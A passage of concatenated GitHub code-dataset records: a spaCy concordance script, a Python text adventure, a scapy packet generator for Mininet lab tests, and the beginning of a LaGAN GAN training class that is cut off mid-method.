go in different direction, there is no easy way to deal with this, without adding another\n # parameter. The task only permits 4.\n if construction_name != 'ROOT' or 'oc':\n # The patterns are similar to the ones used in extract_constructions.py. See there for further explanations.\n pattern = [\n # target dependency will be filled up here\n {\n \"RIGHT_ID\": \"verb\",\n \"RIGHT_ATTRS\": {\"DEP\": 'ROOT'}\n },\n # partner dependency to be filled here\n {\n \"LEFT_ID\": \"verb\",\n \"REL_OP\": \">\",\n \"RIGHT_ID\": \"word\",\n \"RIGHT_ATTRS\": {\"LEMMA\": target_word, \"DEP\": construction_name}\n }\n ]\n matcher.add(\"word\", [pattern])\n matches = matcher(doc)\n if target_word == 'schön' and construction_name == 'pd':\n pattern = [\n # target dependency will be filled up here\n {\n \"RIGHT_ID\": \"verb\",\n \"RIGHT_ATTRS\": {\"DEP\": 'ROOT'}\n },\n # partner dependency to be filled here\n {\n \"LEFT_ID\": \"verb\",\n \"REL_OP\": \">\",\n \"RIGHT_ID\": \"word\",\n \"RIGHT_ATTRS\": {\"LEMMA\": target_word, \"DEP\": construction_name}\n }\n ]\n matcher.add(\"word\", [pattern])\n matches = matcher(doc)\n\n if target_word == 'schön' and construction_name == 'nk':\n pattern = [\n # target dependency will be filled up here\n {\n \"RIGHT_ID\": \"verb\",\n \"RIGHT_ATTRS\": {\"DEP\": 'nk'}\n },\n # partner dependency to be filled here\n {\n \"LEFT_ID\": \"verb\",\n \"REL_OP\": \">\",\n \"RIGHT_ID\": \"word\",\n \"RIGHT_ATTRS\": {\"LEMMA\": target_word, \"DEP\": construction_name}\n }\n ]\n matcher.add(\"word\", [pattern])\n matches = matcher(doc)\n\n if construction_name == 'ROOT' or 'oc':\n pattern = [\n # target dependency will be filled up here\n {\n \"RIGHT_ID\": \"verb\",\n \"RIGHT_ATTRS\": {\"LEMMA\": target_word, \"DEP\": construction_name}\n },\n # partner dependency to be filled here\n {\n \"LEFT_ID\": \"verb\",\n \"REL_OP\": \">\",\n \"RIGHT_ID\": \"predicate\",\n \"RIGHT_ATTRS\": {\"DEP\": 'pd'}\n }\n ]\n matcher.add(\"word\", [pattern])\n matches = matcher(doc)\n\n # Here we make sure that spacy gives us sentences to work with\n sentences = [i for i in nlp(doc).sents]\n # A dictionary is created to account for all sentences that match the parameters\n matched_sentences = {}\n # A variable y is created to account for all matches found in matches. These are lists with two items in them\n for x in matches:\n y = x[1]\n for sentence in range(len(sentences)):\n # Here we check for the matches in the y list against the sentences. If a match is found,\n # the sentence is added to the dictionary\n if doc[y[0]] and doc[y[1]] in sentences[sentence]:\n matched_sentences[sentences[sentence]] = 0\n # A random sample is selected, with key setting the amount of sentences to be printed. The if statement makes\n # sure we are not asking for more than the script can give\n if number <= len(matched_sentences):\n selection = random.sample(list(matched_sentences), k=number)\n for item in selection:\n print('\\n' + str(item).rstrip().lstrip())\n else:\n print('The number you chose exceeds the amount of matches given current parameters or is negative. '\n 'Please '\n 'choose a lower, positive number.')\n\n # If file format does not match, user is asked to use another file\n else:\n print('Please make sure to use a \\'*.spacy\\' file format.')\n\n\n# When executing the function, the user will now be asked to enter the following parameters:\n\ncontext(input('Please enter corpus file name:\\n'), input('Please choose a German lemma:\\n'), input('Please enter a '\n 'German dependency'\n ' value:\\n'),\n int(input('Please enter the amount of samples to be generated:\\n')))\n\n# Uncomment to execute the following examples:\n\n# context('Baum_News_2007_corpus.spacy', 'Baum', 'sb', 5)\n# context('ist_Web-EU_2015_corpus.spacy', 'sein', 'ROOT', 5)\n# context('schoen_Web-public_2019_corpus.spacy', 'schön', 'nk', 5)\n# context('schoen_Web-public_2019_corpus.spacy', 'schön', 'pd', 5)\n","repo_name":"viviane-walker-uzh/Coding-Projects-PCL1-spaCy","sub_path":"keyword_concordance.py","file_name":"keyword_concordance.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43330281072","text":"import time\nimport random\n\nmother = [\"Mother Goddess of Compassion, Green Tara.\",\n \"Mother Goddess of Protection from Illness, Orange Tara.\",\n \"Mother Goddess of Protection from Fear, Black Wrathful Tara.\"]\nthe_mother = random.choice(mother)\n\nmountains = [\"Himalayan Mountains\", \"Santa Cruz Mountains\", \"Rocky Mountains\"]\nthe_mountains = random.choice(mountains)\n\n\ndef print_pause(message_to_print):\n print(message_to_print)\n time.sleep(.25)\n\n\ndef valid_input(prompt, option):\n while True:\n response = input(prompt).lower()\n if response in option:\n return response\n else:\n print_pause(\"Choose a valid destination from the transport list.\")\n\n\ndef encounter():\n print_pause(\"You are on a hike,\\n\"\n \"in search of spiritual awakening\")\n print_pause(\"high in the\")\n print_pause(the_mountains)\n print_pause(\"Surrounded by wispy clouds, you\\n\"\n \"encounter a hidden temple emerging from\\n\"\n \"a nearby snow bank.\\n \")\n print_pause(\"The temple is glittering and radiates with \"\n \"peacefulness.\\n\")\n print_pause(\"Its magnificent stairway \"\n \"invites you... \\n\")\n print_pause(\"...but you SUDDENLY REALIZE...\\n\")\n print_pause(\"that your wide-mouth canteen is empty\\n\"\n \"and your gear is down at basecamp.\\n\")\n print_pause(\"Gasp!\\n \")\n print_pause(\"You DO HAVE your hand-held transporter.\\n\"\n \"But you definitely NEED a survival strategy!\\n\")\n\n\ndef temple(offerings):\n print_pause(\"You ascend the jewel-toned temple steps \"\n \"and enter the ancient structure.\\n \")\n if \"abhaya\" and \"fire\" and \"water\" in offerings:\n print_pause(\"You've harnessed the elements and WON by surviving!\\n\")\n hike_again()\n else:\n if \"fire\" in offerings:\n print_pause(\"You light the sacred fire with your camp lighter.\")\n print_pause(\"The sacred fire illuminates the temple.\\n\")\n print_pause(\"You're ready to move out!\\n\")\n print_pause(\"Ready for transport?\\n \")\n adventure(offerings)\n if \"abhaya\" in offerings:\n print_pause(\"You hear a kind voice say:\\n\")\n print_pause(\"Go now, harness the elements \"\n \"with the blessing of the\")\n print_pause(random.choice(mother))\n print_pause(\"You go out and down the temple stairs again.\\n\")\n print_pause(\"Ready for transport?\\n \")\n adventure(offerings)\n else:\n print_pause(\"Inside you find a beautiful murti, \"\n \"an enormous golden statue of the Goddess\")\n print_pause(\"She looks SO alive, but the temple is freezing.\\n \")\n print_pause(\"The sacred dhune fire has long been extinguished.\\n \")\n print_pause(\"Brrrr!!!!!\\n \")\n print_pause(\"Standing in front of the Goddess, you notice \"\n \"a small table before her.\\n \")\n print_pause(\"You realize that it is meant for visitors to \"\n \"leave their offerings.\\n\")\n print_pause(\"You think you have nothing to give,\\n \")\n print_pause(\"so you go out and down the temple stairs.\\n \")\n offerings.append(\"abhaya\")\n print_pause(\"Ready for transport?\\n \")\n adventure(offerings)\n\n\ndef basecamp(offerings):\n print_pause(\"You lie down on your back in the snow and roll into \"\n \"a tight ball.\\n \")\n if \"water\" and \"mud\" in offerings:\n print_pause(\"Tragedy befalls you! Mountain mud is deadly \\n \"\n \"when paired with melted snow!\")\n print_pause(\"You have perished and LOST, but you may try to\\n\"\n \"hike again next life.\\n \")\n hike_again()\n else:\n if \"water\" in offerings:\n print_pause(\"Your canteen is brimming, but you're \"\n \"covered in lethal mountain mud!\\n \"\n \"Let's move out to give you a chance\\n\"\n \"to walk it off!\\n \")\n offerings.append(\"mud\")\n print_pause(\"Ready for transport?\\n \")\n adventure(offerings)\n if \"fire\" in offerings:\n print_pause(\"Wait! There's nowhere to roll to now.\\n \")\n print_pause(\"You've already got your gear and your\\n\"\n \"transporter.\\n \")\n if \"abhaya\" in offerings:\n print_pause(\"No broken bones! Must be the blessing!\\n \")\n adventure(offerings)\n else:\n print_pause(\"You secure your goggles, cinch \"\n \"down the strap on your hat \"\n \"and roll down the mountain.\\n \")\n print_pause(\"You are like a human sled! Banzai!\\n \")\n print_pause(\"You land down at basecamp in a crumpled heap.\\n \")\n print_pause(\"Ouch!\\n \")\n print_pause(\"You grab your forgotten survival gear.\\n \")\n offerings.append(\"fire\")\n print_pause(\"Ready for transport?\\n \")\n adventure(offerings)\n\n\ndef snowbank(offerings):\n print_pause(\"You lie down on your back on the snow bank.\\n \")\n if \"fire\" in offerings:\n print_pause(\"You've got fire!\\n \")\n if \"water\" in offerings:\n print_pause(\"You've got water, it's time to move out!\\n \")\n else:\n print_pause(\"You start vigorously moving your legs \"\n \"in and out and your arms up and down.\\n\")\n print_pause(\"A mound of excess snow piles up from your movements, \"\n \"which you scoop into your wide-mouth canteen.\\n \")\n print_pause(\"The shallow impression of an angel is \"\n \"left behind in the snow.\\n\")\n print_pause(\"Hallelujah!\\n\")\n print_pause(\"Your canteen will soon be filled \"\n \"with melted snow water.\\n\")\n print_pause(\"Ready for transport?\\n\")\n if \"fire\" not in offerings:\n print_pause(\"You still need fire.\\n\")\n offerings.append(\"water\")\n adventure(offerings)\n\n\ndef adventure(offerings):\n print_pause(\"Please enter the destination number \"\n \"so your transporter can take you there: \")\n do_next = valid_input(\"1. Enter the Temple\\n\"\n \"2. Go down to Basecamp\\n\"\n \"3. Lie down on the Snow Bank\\n\",\n [\"1\", \"2\", \"3\"])\n if do_next == '1':\n temple(offerings)\n elif do_next == '2':\n basecamp(offerings)\n elif do_next == '3':\n snowbank(offerings)\n\n\ndef hike_again():\n response = valid_input(\"Would you like to hike again? \"\n \"Please say 'yes' or 'no'.\\n\",\n [\"yes\", \"no\"])\n if \"no\" in response:\n print_pause(\"OK, goodbye!\")\n exit()\n elif \"yes\" in response:\n print_pause(\"Very good, initiate transport.\")\n play_game()\n\n\ndef play_game():\n offerings = []\n encounter()\n adventure(offerings)\n hike_again()\n\n\ndef game():\n # Infinite loop.\n while True:\n # Play the game in each cycle\n play_game()\n # The stop condition.\n if not hike_again():\n print('Bye!')\n exit(0)\n print_pause(\"Very good, initiate transport.\")\n\n\nif __name__ == '__main__':\n game()\n","repo_name":"ledutech/adventure_game","sub_path":"adventure_game_by_cheech2.py","file_name":"adventure_game_by_cheech2.py","file_ext":"py","file_size_in_byte":7394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16776551326","text":"import argparse\nimport ipaddress\nimport random\nimport shlex\nimport subprocess\n\nimport scapy\nfrom scapy import plist\nfrom scapy.config import conf\nfrom scapy.layers.dns import DNS\nfrom scapy.layers.inet import ICMP, IP, UDP, TCP\nfrom scapy.layers.l2 import Ether, ARP, arping\nfrom scapy.packet import Raw\nfrom scapy.sendrecv import srp, sr1, sniff, srloop, send, sendp, sendpfast\nimport iperf3\nfrom time import sleep\n\nfrom scapy.utils import PcapWriter\n\nFIN = 0x01\nSYN = 0x02\nRST = 0x04\nPSH = 0x08\nACK = 0x10\nURG = 0x20\nECE = 0x40\nCWR = 0x80\n\n\ndef get_ARP_resp_HWAddr(address):\n ans, unans = arping(address)\n if ans is not None:\n return [pkt for pkt in ans[0]]\n else:\n return None\n\n\ndef convert_raw_bytes_to_eth_pkt(raw_bytes):\n packet = scapy.layers.l2.Ether(raw_bytes)\n return packet\n\n\ndef get_response_ICMP_ping(address):\n p = sr1(IP(dst=address) / ICMP(), timeout=3)\n if p is not None:\n return p\n else:\n return None\n\n\ndef arp_monitor_callback(pkt):\n if ARP in pkt and pkt[ARP].op in (1, 2): # who-has or is-at\n return pkt.sprintf(\"%ARP.hwsrc% % ARP.psrc%\")\n\n\ndef monitor():\n sniff(prn=arp_monitor_callback, filter=\"arp\", store=0)\n\n\ndef stop_filter(x):\n if x.load == \"Poison\":\n return True\n else:\n return False\n\n\nMAX_PACKET = 100\n\nif __name__ == '__main__':\n # conf.verb = 0\n conf.iface = \"eth0\"\n my_parser = argparse.ArgumentParser(description='Packet generator based on scapy')\n group_addr = my_parser.add_mutually_exclusive_group()\n group_addr.add_argument('-n', '--netaddr', default=False, type=ipaddress.IPv4Network,\n help='address to be \"arpinged\"')\n group_addr.add_argument('-a', '--address', default=False, type=ipaddress.IPv4Address,\n help='address to be \"pinged classically\"')\n group = my_parser.add_mutually_exclusive_group()\n group.add_argument('--arping', action=\"store_true\", default=False, help='ARP ping', )\n group.add_argument('--icmping', action=\"store_true\", default=False, help='ICMP ping', )\n my_parser.add_argument(\"-m\", \"--monitor\", action=\"store_true\", default=False, help='Start arp monitor')\n my_parser.add_argument(\"-c\", \"--client\", type=ipaddress.IPv4Address, default=False, help='Start iperf3 client')\n my_parser.add_argument(\"-s\", \"--server\", action=\"store_true\", default=False, help='Start iperf3 server')\n my_parser.add_argument(\"-c2\", \"--convertEth\", action=\"store_true\", default=False, help='Convert raw bytes to a pkt')\n my_parser.add_argument(\"-M\", \"--maxpacket\", type=int, default=False, help='max packet to send')\n\n args = my_parser.parse_args()\n\n print(\"Starting packet generator...\\n\")\n if args.arping:\n print(\"Sending out ARP messages\")\n print(str(args.netaddr))\n ans = get_ARP_resp_HWAddr(str(args.netaddr))\n for pkt in ans:\n pkt.show()\n print(30 * \"*\")\n print()\n if args.icmping:\n print(\"pinging \" + str(args.address))\n pkt = get_response_ICMP_ping(args.address)\n pkt.show()\n if args.monitor:\n monitor()\n if args.convertEth:\n pkt = convert_raw_bytes_to_eth_pkt\n\n if args.maxpacket:\n MAX_PACKET = args.maxpacket\n\n if args.client:\n pkt_list = []\n packet = Ether(dst=\"08:00:00:00:00:02\") / \\\n IP(dst=str(args.client)) / TCP(sport=random.randint(2000, 65535), dport=5202) / Raw(\"CIAO\")\n pill = IP(dst=str(args.client)) / TCP(sport=random.randint(2000, 65535), dport=5201, flags=\"F\") / Raw(\" Poison\")\n i = 0\n while i < MAX_PACKET:\n packet = Ether(dst=\"08:00:00:00:00:02\") / \\\n IP(dst=str(args.client)) / TCP(sport=random.randint(2000, 65535), dport=5202) / Raw(\"CIAO\")\n i = i + 1 # Da rifare meglio...\n pkt_list.append(packet)\n i = 0\n print(\"Sending fast\")\n print(sendpfast(pkt_list, mbps=500, loop=1e2, parse_results=1, iface=\"eth0\", replay_args=[\"K\"], ))\n while i < 10: # 10 pacchetti garantiscono che i monitor finiscono\n pill = IP(dst=str(args.client)) / TCP(sport=random.randint(2000, 65535), dport=5201, flags=\"F\") / Raw(\" Poison\")\n i = i + 1 # Da rifare meglio...\n send(pill)\n sleep(1) # Messo per i test...\n\n if args.server:\n print(\"starting server monitor\")\n result = sniff(iface=\"eth0\",\n stop_filter=lambda x: x[TCP].flags == \"F\" if x.haslayer(TCP) else None,\n # prn=lambda x: x.summary() if x[TCP].flags == \"S\" else None)\n prn=lambda x: x.summary())\n print(\"\\n\\nFinishing and cleaning up...\")\n","repo_name":"andi-ra/Testi_Mininet","sub_path":"pkt_generator_develop/pkt_generator.py","file_name":"pkt_generator.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35511462516","text":"import itertools\nimport os\nimport time\nfrom glob import glob\nfrom pathlib import Path\nfrom typing import Tuple\n\nimport numpy as np\nimport torch\nimport torch_fidelity\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\n\nfrom dataset import ImageFolder\nfrom discriminator import Discriminator\nfrom generator import ResnetGenerator\nfrom normalization import RhoClipper\nfrom patch_nce import PatchNCELoss\nfrom patch_sampler import PatchSampler\nfrom qsa_patch_sampler import QSAPatchSampler\nfrom seed import get_seeded_generator, seed_everything, seeded_worker_init_fn\nfrom utils import *\nfrom visualizations import (generate_translation_example,\n plot_translation_examples, translate_dataset)\n\n\nclass LaGAN:\n def __init__(self, args):\n self.model_name = 'LaGAN'\n self.result_dir = args.result_dir\n self.dataset = args.dataset\n self.ckpt = args.ckpt\n\n self.iters = args.iters\n self.decay_lr = args.decay_lr\n self.batch_size = args.batch_size\n\n self.display_freq = args.display_freq\n self.eval_freq = args.eval_freq\n self.save_freq = args.save_freq\n\n \"\"\"Optimization\"\"\"\n self.lr = args.lr\n self.weight_decay = args.weight_decay\n\n \"\"\" Weights \"\"\"\n self.gan_weight = args.gan_weight\n self.cam_weight = args.cam_weight\n self.nce_weight = args.nce_weight\n\n \"\"\" Architecture \"\"\"\n self.base_channels = args.base_channels\n\n \"\"\" Generator \"\"\"\n self.num_bottleneck_blocks = args.num_bottleneck_blocks\n self.num_downsampling_blocks = args.num_downsampling_blocks\n\n self.use_global_discriminator = args.use_global_discriminator\n self.use_local_discriminator = args.use_local_discriminator\n\n self.img_size = args.img_size\n self.img_channels = args.img_channels\n\n self.device = args.device\n self.benchmark = args.benchmark\n self.resume = args.resume\n\n self.seed = args.seed\n\n \"\"\" CUT \"\"\"\n self.patch_sampling_type = args.patch_sampling_type\n self.nce_temperature = args.nce_temperature\n self.nce_patch_embedding_dim = args.nce_patch_embedding_dim\n self.nce_num_patches = args.nce_num_patches\n self.nce_layers = [int(x) for x in args.nce_layers.split(',')]\n self.nce_detach_keys = args.nce_detach_keys\n\n if torch.backends.cudnn.enabled and self.benchmark:\n print('set benchmark!')\n torch.backends.cudnn.benchmark = True\n\n \"\"\"QSA \"\"\"\n self.qsa_max_spatial_size = args.qsa_max_spatial_size\n\n \"\"\"Translate\"\"\"\n self.translate_include_attention = args.translate_include_attention\n self.translate_attention_position = args.translate_attention_position\n\n print()\n print(\"##### Information #####\")\n print(\"# dataset : \", self.dataset)\n if self.ckpt:\n print(\"# ckpt : \", self.ckpt)\n print(\"# batch_size : \", self.batch_size)\n print(\"# training iterations : \", self.iters)\n print(\"# seed : \", self.seed)\n print()\n print(\"##### Generator #####\")\n print(\"# bottleneck blocks : \", self.num_bottleneck_blocks)\n print(\"##### Discriminator #####\")\n print(\"# use global discriminator : \", self.use_global_discriminator)\n print(\"# use local discriminator : \", self.use_local_discriminator)\n\n print(\"##### Weight #####\")\n print(\"# adv_weight : \", self.gan_weight)\n print(\"# cam_weight : \", self.cam_weight)\n print(\"# nce_weight : \", self.nce_weight)\n\n print(\"##### CUT #####\")\n print(\"# patch sampling type : \", self.patch_sampling_type)\n print(\"# nce temperature : \", self.nce_temperature)\n print(\"# nce layers : \", self.nce_layers)\n print(\"# nce patches : \", self.nce_num_patches)\n print(\"# nce patch embedding dim : \", self.nce_patch_embedding_dim)\n print(\"# nce detach keys\", self.nce_detach_keys)\n\n assert (self.use_global_discriminator or self.use_local_discriminator)\n\n self.build_model()\n\n ##################################################################################\n # Model\n ##################################################################################\n\n def build_model(self):\n \"\"\" Seed everything \"\"\"\n seed_everything(self.seed)\n trainA_dataloader_generator = get_seeded_generator(self.seed)\n trainB_dataloader_generator = get_seeded_generator(self.seed)\n\n \"\"\" DataLoader \"\"\"\n train_transform = transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.Resize((self.img_size + 30, self.img_size+30)),\n transforms.RandomCrop(self.img_size),\n transforms.ToTensor(),\n transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n ])\n test_transform = transforms.Compose([\n transforms.Resize((self.img_size, self.img_size)),\n transforms.ToTensor(),\n transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n ])\n\n self.trainA = ImageFolder(os.path.join('dataset', self.dataset, 'trainA'), train_transform)\n self.trainA_without_aug = ImageFolder(\n os.path.join('dataset', self.dataset, 'trainA'),\n test_transform\n )\n self.trainB = ImageFolder(os.path.join('dataset', self.dataset, 'trainB'), train_transform)\n self.valA = ImageFolder(os.path.join('dataset', self.dataset, 'valA'), test_transform)\n self.valB = ImageFolder(os.path.join('dataset', self.dataset, 'valB'), test_transform)\n self.testA = ImageFolder(os.path.join('dataset', self.dataset, 'testA'), test_transform)\n self.testB = ImageFolder(os.path.join('dataset', self.dataset, 'testB'), test_transform)\n self.trainA_loader = DataLoader(\n self.trainA,\n batch_size=self.batch_size,\n worker_init_fn=seeded_worker_init_fn,\n generator=trainA_dataloader_generator,\n shuffle=True\n )\n self.trainA_without_aug_loader = DataLoader(\n self.trainA_without_aug,\n batch_size=1,\n shuffle=False\n )\n self.trainB_loader = DataLoader(\n self.trainB,\n batch_size=self.batch_size,\n worker_init_fn=seeded_worker_init_fn,\n generator=trainB_dataloader_generator,\n shuffle=True\n )\n self.valA_loader = DataLoader(self.valA, batch_size=1, shuffle=False)\n self.valB_loader = DataLoader(self.valB, batch_size=1, shuffle=False)\n self.testA_loader = DataLoader(self.testA, batch_size=1, shuffle=False)\n self.testB_loader = DataLoader(self.testB, batch_size=1, shuffle=False)\n\n \"\"\" Define Generator, Discriminator \"\"\"\n self.generator = ResnetGenerator(\n in_channels=3,\n out_channels=3,\n ngf=self.base_channels,\n num_bottleneck_blocks=self.num_bottleneck_blocks,\n num_downsampling_blocks=self.num_downsampling_blocks,\n nce_layers_indices=self.nce_layers\n ).to(self.device)\n\n if self.use_global_discriminator:\n self.global_discriminator = Discriminator(\n in_channels=3,\n ndf=self.base_channels,\n num_layers=7\n ).to(self.device)\n if self.use_local_discriminator:\n self.local_discriminator = Discriminator(\n in_channels=3,\n ndf=self.base_channels,\n num_layers=5\n ).to(self.device)\n\n \"\"\"Define Patch Sampler\"\"\"\n if self.patch_sampling_type == 'random':\n self.patch_sampler = PatchSampler(\n patch_embedding_dim=self.nce_patch_embedding_dim,\n num_patches_per_layer=self.nce_num_patches,\n device=self.device\n )\n else:\n self.patch_sampler = QSAPatchSampler(\n patch_embedding_dim=self.nce_patch_embedding_dim,\n num_patches_per_layer=self.nce_num_patches,\n qsa_type=self.patch_sampling_type,\n max_spatial_size=self.qsa_max_spatial_size,\n device=self.device\n )\n self.initialize_patch_sampler()\n\n print('Generator:')\n print(self.generator)\n print(f'total params: {get_total_model_params(self.generator)}')\n print(\n f'total trainable params: {get_total_trainable_model_params(self.generator)}'\n )\n if self.use_global_discriminator:\n print('Global Discriminator:')\n print(self.global_discriminator)\n print(f'total params: {get_total_model_params(self.global_discriminator)}')\n print(\n f'total trainable params: {get_total_trainable_model_params(self.global_discriminator)}'\n )\n if self.use_local_discriminator:\n print('Local Discriminator:')\n print(self.local_discriminator)\n print(f'total params: {get_total_model_params(self.local_discriminator)}')\n print(\n f'total trainable params: {get_total_trainable_model_params(self.local_discriminator)}'\n )\n\n \"\"\" Define Loss \"\"\"\n self.mse = nn.MSELoss().to(self.device)\n self.bce = nn.BCEWithLogitsLoss().to(self.device)\n self.nce_losses = []\n for _ in self.nce_layers:\n self.nce_losses.append(\n PatchNCELoss(\n temperature=self.nce_temperature,\n use_external_patches=False,\n detach_keys=self.nce_detach_keys\n ).to(self.device)\n )\n \"\"\" Trainer \"\"\"\n self.generator_optim = torch.optim.Adam(\n self.generator.parameters(),\n lr=self.lr,\n betas=(0.5, 0.999),\n weight_decay=self.weight_decay\n )\n\n self.discriminator_optim = torch.optim.Adam(\n itertools.chain(\n self.global_discriminator.parameters() if self.use_global_discriminator else [],\n self.local_discriminator.parameters() if self.use_local_discriminator else []\n ),\n lr=self.lr,\n betas=(0.5, 0.999),\n weight_decay=self.weight_decay\n )\n self.patch_sampler_optim = torch.optim.Adam(\n self.patch_sampler.parameters(),\n lr=self.lr,\n betas=(0.5, 0.999),\n weight_decay=self.weight_decay\n )\n\n \"\"\" Define Rho clipper to constraint the value of rho in AdaILN and ILN\"\"\"\n self.Rho_clipper = RhoClipper(0, 1)\n \"\"\" For model selection. \"\"\"\n self.smallest_val_fid = float('inf')\n\n def initialize_patch_sampler(self):\n with torch.no_grad():\n # initialize patch sampler\n x = torch.zeros(\n (self.batch_size, self.img_channels, self.img_size, self.img_size),\n device=self.device\n )\n # initialize patch sampler MLPs which depend on layer outs shapes\n self.patch_sampler(self.generator.encode(x))\n\n def sample_patches(self, feat_q: torch.Tensor, feat_k: torch.Tensor):\n if self.patch_sampling_type == 'random':\n feat_k_pool, feat_k_pool_idx = self.patch_sampler(feat_k)\n feat_q_pool, _ = self.patch_sampler(feat_q, feat_k_pool_idx)\n return (feat_q_pool, feat_k_pool)\n else:\n (feat_k_pool,\n feat_k_patch_idx,\n feat_k_attn_map) = self.patch_sampler(feat_k)\n feat_q_pool, _, _ = self.patch_sampler(\n layer_outs=feat_q,\n patch_idx_per_layer=feat_k_patch_idx,\n attn_map_per_layer=feat_k_attn_map\n )\n return (feat_q_pool, feat_k_pool)\n\n def calculate_nce_loss(self, src: torch.Tensor, tgt: torch.Tensor):\n n_layers = len(self.nce_layers)\n\n feat_q = self.generator.encode(tgt)\n feat_k = self.generator.encode(src)\n\n feat_q_pool, feat_k_pool = self.sample_patches(feat_q, feat_k)\n\n total_nce_loss = 0.0\n for f_q, f_k, pnce, _ in zip(feat_q_pool, feat_k_pool, self.nce_losses, self.nce_layers):\n total_nce_loss += pnce(f_q, f_k).mean()\n\n return total_nce_loss / n_layers\n\n def lr_scheduler_step(self):\n if self.decay_lr and self.iter > (self.iters // 2):\n decay_term = (self.lr / (self.iters // 2))\n self.generator_optim.param_groups[0]['lr'] -= decay_term\n self.discriminator_optim.param_groups[0]['lr'] -= decay_term\n self.patch_sampler_optim.param_groups[0]['lr'] -= decay_term\n\n def resume_scheduler_step(self, start_iter):\n if self.decay_lr and start_iter > (self.iters // 2):\n decay_term = (self.lr / (self.iters // 2)) * (start_iter - self.iters // 2)\n self.generator_optim.param_groups[0]['lr'] -= decay_term\n self.discriminator_optim.param_groups[0]['lr'] -= decay_term\n self.patch_sampler_optim.param_groups[0]['lr'] -= decay_term\n\n def train_discriminator(self, real_A: torch.Tensor, real_B: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n # suffix LB -> local\n # suffix GB -> global\n\n self.discriminator_optim.zero_grad()\n\n fake_A2B, _, _ = self.generator(real_A)\n\n if self.use_global_discriminator:\n real_GB_logit, real_GB_cam_logit, _ = self.global_discriminator(real_B)\n fake_GB_logit, fake_GB_cam_logit, _ = self.global_discriminator(fake_A2B)\n\n discriminator_ad_loss_GB = self.mse(\n real_GB_logit,\n torch.ones_like(real_GB_logit).to(self.device)\n ) + self.mse(\n fake_GB_logit,\n torch.zeros_like(fake_GB_logit).to(self.device)\n )\n discriminator_ad_cam_loss_GB = self.mse(\n real_GB_cam_logit,\n torch.ones_like(real_GB_cam_logit).to(self.device)\n ) + self.mse(\n fake_GB_cam_logit,\n torch.zeros_like(fake_GB_cam_logit).to(self.device)\n )\n else:\n discriminator_ad_loss_GB = 0.0\n discriminator_ad_cam_loss_GB = 0.0\n\n if self.use_local_discriminator:\n real_LB_logit, real_LB_cam_logit, _ = self.local_discriminator(real_B)\n fake_LB_logit, fake_LB_cam_logit, _ = self.local_discriminator(fake_A2B)\n\n discriminator_ad_loss_LB = self.mse(\n real_LB_logit,\n torch.ones_like(real_LB_logit).to(self.device)\n ) + self.mse(\n fake_LB_logit,\n torch.zeros_like(fake_LB_logit).to(self.device)\n )\n discriminator_ad_cam_loss_LB = self.mse(\n real_LB_cam_logit,\n torch.ones_like(real_LB_cam_logit).to(self.device)\n ) + self.mse(\n fake_LB_cam_logit,\n torch.zeros_like(fake_LB_cam_logit).to(self.device)\n )\n else:\n discriminator_ad_loss_LB = 0.0\n discriminator_ad_cam_loss_LB = 0.0\n\n discriminator_domain_gan_loss = discriminator_ad_loss_GB + discriminator_ad_loss_LB\n discriminator_cam_gan_loss = discriminator_ad_cam_loss_GB + discriminator_ad_cam_loss_LB\n\n discriminator_loss = self.gan_weight * (\n discriminator_domain_gan_loss +\n discriminator_cam_gan_loss\n )\n discriminator_loss.backward()\n\n self.discriminator_optim.step()\n\n return (discriminator_loss,\n discriminator_domain_gan_loss,\n discriminator_cam_gan_loss)\n\n def train_generator(self, real_A: torch.Tensor, real_B: torch.Tensor) -> Tuple[\n Tuple[torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor],\n Tuple[torch.Tensor, torch.Tensor, torch.Tensor]\n ]:\n # suffix LB -> local\n # suffix GB -> global\n self.generator_optim.zero_grad()\n # Update patch sampler. If we are in the first iteration, its optimizer is not initialized.\n # This is because patch sampler MLPs's dimension depends on the feature map shapes which are known in the first forward pass of NCE loss.\n self.patch_sampler_optim.zero_grad()\n\n fake_A2B, fake_A2B_cam_logit, _ = self.generator(real_A)\n fake_B2B, fake_B2B_cam_logit, _ = self.generator(real_B)\n\n if self.use_global_discriminator:\n fake_GB_logit, fake_GB_cam_logit, _ = self.global_discriminator(fake_A2B)\n if self.use_local_discriminator:\n fake_LB_logit, fake_LB_cam_logit, _ = self.local_discriminator(fake_A2B)\n\n if self.use_global_discriminator:\n generator_ad_loss_GB = self.mse(\n fake_GB_logit,\n torch.ones_like(fake_GB_logit).to(self.device)\n )\n generator_ad_cam_loss_GB = self.mse(\n fake_GB_cam_logit,\n torch.ones_like(fake_GB_cam_logit).to(self.device)\n )\n else:\n generator_ad_loss_GB = 0.0\n generator_ad_cam_loss_GB = 0.0\n\n if self.use_local_discriminator:\n generator_ad_loss_LB = self.mse(\n fake_LB_logit,\n torch.ones_like(fake_LB_logit).to(self.device)\n )\n generator_ad_cam_loss_LB = self.mse(\n fake_LB_cam_logit,\n torch.ones_like(fake_LB_cam_logit).to(self.device)\n )\n else:\n generator_ad_loss_LB = 0.0\n generator_ad_cam_loss_LB = 0.0\n\n generator_cam_loss = self.bce(\n fake_A2B_cam_logit,\n torch.ones_like(fake_A2B_cam_logit).to(self.device)\n ) + self.bce(\n fake_B2B_cam_logit,\n torch.zeros_like(fake_B2B_cam_logit).to(self.device)\n )\n\n nce_loss_x = self.calculate_nce_loss(real_A, fake_A2B)\n nce_loss_y = self.calculate_nce_loss(real_B, fake_B2B)\n nce_loss_both = (nce_loss_x + nce_loss_y) * 0.5\n\n generator_domain_gan_loss = generator_ad_loss_GB + generator_ad_loss_LB\n generator_cam_gan_loss = generator_ad_cam_loss_GB + generator_ad_cam_loss_LB\n generator_loss = (\n self.gan_weight * (\n generator_domain_gan_loss +\n generator_cam_gan_loss\n ) +\n self.nce_weight * nce_loss_both +\n self.cam_weight * 